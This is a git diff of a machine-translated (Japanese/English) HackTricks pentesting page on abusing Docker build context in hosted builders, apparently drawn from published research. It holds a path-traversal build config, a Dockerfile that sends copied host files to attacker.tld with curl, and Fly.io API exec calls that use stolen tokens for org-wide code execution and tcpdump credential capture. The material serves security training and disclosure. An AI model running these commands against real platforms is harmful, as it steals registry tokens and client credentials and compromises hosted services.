Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p

This commit is contained in:
Translator
2025-10-25 22:31:52 +00:00
parent 11f3ae4dd5
commit 1d349ec92c
3 changed files with 76 additions and 75 deletions

View File

@@ -1,29 +1,29 @@
# Abusing Docker Build Context in Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
# ホストされたビルダーでの Docker ビルドコンテキストの悪用 (Path Traversal, Exfil, and Cloud Pivot)
{{#include ../banners/hacktricks-training.md}}
## TL;DR
If a CI/CD platform or hosted builder lets contributors specify the Docker build context path and Dockerfile path, you can often set the context to a parent directory (e.g., "..") and make host files part of the build context. Then, an attacker-controlled Dockerfile can COPY and exfiltrate secrets found in the builder users home (for example, ~/.docker/config.json). Stolen registry tokens may also work against the providers control-plane APIs, enabling org-wide RCE.
CI/CD プラットフォームやホストされた builder が貢献者に Docker ビルドコンテキストパスと Dockerfile パスの指定を許す場合、コンテキストを親ディレクトリ(例: "..")に設定してホスト上のファイルをビルドコンテキストに含めることがしばしば可能です。すると、攻撃者制御下の Dockerfile COPY してビルダーのユーザホームにある secrets例: ~/.docker/config.jsonを exfiltrate できます。盗まれた registry tokens はプロバイダの control-plane APIs に対しても有効になり、組織全体の RCE を引き起こす可能性があります。
## 攻撃対象
## 攻撃
多くの hosted builder/registry サービスは、ユーザー提出したイメージをビルドするときに概ね次のような処理を行います:
- Read a repo-level config that includes:
- build context path (sent to the Docker daemon)
- Dockerfile path relative to that context
- Copy the indicated build context directory and the Dockerfile to the Docker daemon
- Build the image and run it as a hosted service
多くのホストされた builder/registry サービスは、ユーザー提出イメージをビルドするに概ね次の処理を行います:
- repo-level config を読み、その中に以下を含む:
- build context pathDocker daemon に送られる)
- Dockerfile path(そのコンテキストからの相対パス)
- 指定された build context ディレクトリと Dockerfile Docker daemon にコピーする
- イメージをビルドし、ホストされたサービスとして実行する
プラットフォームが build context を canonicalize して制限しない場合、ユーザはそれをリポジトリ外の場所path traversalに設定でき、build user によって読み取れる任意のホストファイルが build context の一部なり、Dockerfile COPY で利用可能になります。
プラットフォームが build context を正規化および制限しない場合、ユーザはそれをリポジトリ外の場所path traversalに設定でき、ビルドユーザが読み取れる任意のホストファイルがビルドコンテキストの一部なり、Dockerfile COPY 可能になります。
一般的に観察される実用的な制約:
- The Dockerfile must reside within the chosen context path and its path must be known ahead of time.
- The build user must have read access to files included in the context; special device files can break the copy.
実際によくある制約:
- Dockerfile は選択したコンテキストパス内に存在し、そのパスは事前に知られている必要がある。
- ビルドユーザはコンテキストに含めるファイルに対して読み取り権限を持っている必要がある。特殊なデバイスファイルはコピーを壊す可能性がある。
## PoC: Path traversal via Docker build context
## PoC: Docker build context を介した Path traversal
Example malicious server config declaring a Dockerfile within the parent directory context:
親ディレクトリのコンテキスト内に Dockerfile を宣言する悪意あるサーバ設定の例:
```yaml
runtime: "container"
build:
@@ -41,10 +41,10 @@ exampleConfig:
apiKey: "sk-example123"
```
注意:
- ".." を使用すると多くの場合 builder ユーザーのホーム (例: /home/builder) に解決され通常機密ファイルが含まれます。
- Dockerfile リポジトリのディレクトリ名の下に配置してください (例: repo "test" → test/Dockerfile)。そうすることで展開された親コンテキスト内に留まります。
- ..を使用すると、しばしば builder ユーザーのホーム例: /home/builderに解決されます。そこには通常機密ファイルが含まれます。
- Dockerfile リポジトリのディレクトリ名の下に置いてください例: repo "test" → test/Dockerfile。そうすることで展開された親コンテキスト内に留まります。
## PoC: Dockerfile を使ってホストコンテキスト ingest and exfiltrate する
## PoC: Dockerfile によるホストコンテキスト ingest exfiltrate
```dockerfile
FROM alpine
RUN apk add --no-cache curl
@@ -54,13 +54,13 @@ RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
```
Targets commonly recovered from $HOME:
- ~/.docker/config.json (registry auths/tokens)
- Other cloud/CLI caches and configs (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
- その他のクラウド/CLI キャッシュおよび設定 (例: ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
Tip: リポジトリに .dockerignore が存在していても、脆弱なプラットフォーム側のコンテキスト選択がデーモンに送信される内容を制御します。プラットフォームが選択したパスをリポジトリの .dockerignore を評価する前にデーモンへコピーする場合、ホストファイルが露出する可能性があります。
Tip: リポジトリに .dockerignore があっても、脆弱なプラットフォーム側のコンテキスト選択が daemon に送られる内容を制御します。プラットフォームが選択したパスをあなたのリポジトリの .dockerignore を評価する前に daemon にコピーする場合、ホストファイルが依然として露出する可能性があります。
## Cloud pivot with overprivileged tokens (example: Fly.io Machines API)
## 過剰権限のトークンでのクラウドピボット (example: Fly.io Machines API)
一部のプラットフォームは、コンテナレジストリとコントロールプレーンAPIの両方で使用可能な単一のベアラートークンを発行します。レジストリトークンを流出させた場合は、それをプロバイダの API に対して試してみてください。
一部のプラットフォームは、container registry と control-plane API の両方で使用可能な単一の bearer token を発行します。もし you exfiltrate a registry token, try it against the provider API.
Example API calls against Fly.io Machines API using the stolen token from ~/.docker/config.json:
@@ -75,11 +75,11 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
```
Outcome: トークンに十分な権限がある場合、すべての hosted apps に対して組織全体での remote code execution を達成できる
結果token が十分な権限を持つ場合、組織全体にわたってホストされているアプリすべてで remote code execution を実行できます
## 侵害された hosted services からの Secret 窃取
## 侵害されたホスティングサービスからの機密情報窃取
exec/RCE を hosted servers 上で得ると、client-supplied secretsAPI keys、tokens収したり、prompt-injection 攻撃を仕掛けたりでき。例: tcpdump をインストールして port 8080 の HTTP トラフィックをキャプチャし、受信 credentials を抽出する
hosted servers 上で exec/RCE を得ると、クライアントが提供した機密API keys、tokensを収したり、prompt-injection 攻撃を仕掛けたりできます。例: tcpdump をインストールして port 8080 の HTTP トラフィックをキャプチャし、着信認証情報を抽出します
```bash
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
@@ -91,9 +91,9 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
```
Captured requests には、headers、bodies、または query params に client credentials が含まれていることがよくあります。
キャプチャしたリクエストには、ヘッダー、本文、またはクエリパラメータにクライアント認証情報が含まれていることがよくあります。
## 参考資料
## References
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
- [Fly.io Machines API](https://fly.io/docs/machines/api/)